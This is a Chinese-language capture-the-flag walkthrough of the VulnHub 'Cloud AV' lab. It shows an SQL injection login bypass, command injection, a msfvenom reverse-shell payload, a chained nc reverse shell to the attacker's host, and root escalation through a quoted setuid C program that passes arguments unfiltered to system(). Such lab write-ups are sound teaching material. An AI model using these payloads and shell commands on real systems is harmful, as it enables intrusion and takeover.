一、靶机地址
https://vulnhub.com/entry/boredhackerblog-cloud-av,453/
建议使用Virtualbox的host-only网络,不然有可能会获取不到IP地址
二、信息收集
常规的arp-scan,nmap 跑一下,发现靶机地址192.168.56.105。开放8080、22端口
三、渗透阶段
发现是一个登陆页面,常规性的尝试sqlmap跑注入,没有跑出结果。在输入框输入 " ,触发页面报错。
根据页面信息可以得出sqlite3.0+flask框架写的网站。
报错直接暴露了一个SQL语句 select * from code where password=“’ + password + '”
语句拼接成: select * from code where password=“1 " or 1=1 --+”,即可绕过登录
尝试了下功能,应该是输入文件名,后台进行扫描
盲猜有命令执行漏洞,发现执行成功。
尝试通过bash反弹shell,但是没用,后面尝试了两种办法
思路1-msf生成linux后门反弹:
参考命令。msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
修改权限后执行
MSF接收meterperter
思路2-nc命令串联:
nc 192.168.56.103 9999 | /bin/bash | nc 192.168.56.103 8888
通过nc吧/bin/bash的输入弹给9999端口,显示输出重定向到8888端口。
四、提权
一开始拿的shell,不是友好的shell,目标主机上有python环境,可以用 python -c'importpty; pty.spawn("/bin/bash")'
获取一个友好的shell。
在信息收集的过程中,发现一个路径中,update_cloudav存在rws权限,意味着程序执行过程中具有root权限。下面还存放有源码。
源码如下:
``int main(int argc, char *argv[])
{
char *freshclam=“/usr/bin/freshclam”;
if (argc < 2){
printf(“This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n”);
return 1;
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, “%s %s”, freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;
}
关键问题在 *command 在对命令参数进行拼接后,传入到system()函数中,并没有做过滤,所以可以进行命令执行。尝试执行任意命令,发现有报错,从代码上看,不影响命令执行,没有回显。既然是直接执行shell命令,那么可以通过|符来拼接命令。
尝试在参数后构造bash反弹shell,本地弹shell都没有成功。
最后尝试上面的nc命令串联方法,反弹shell成功。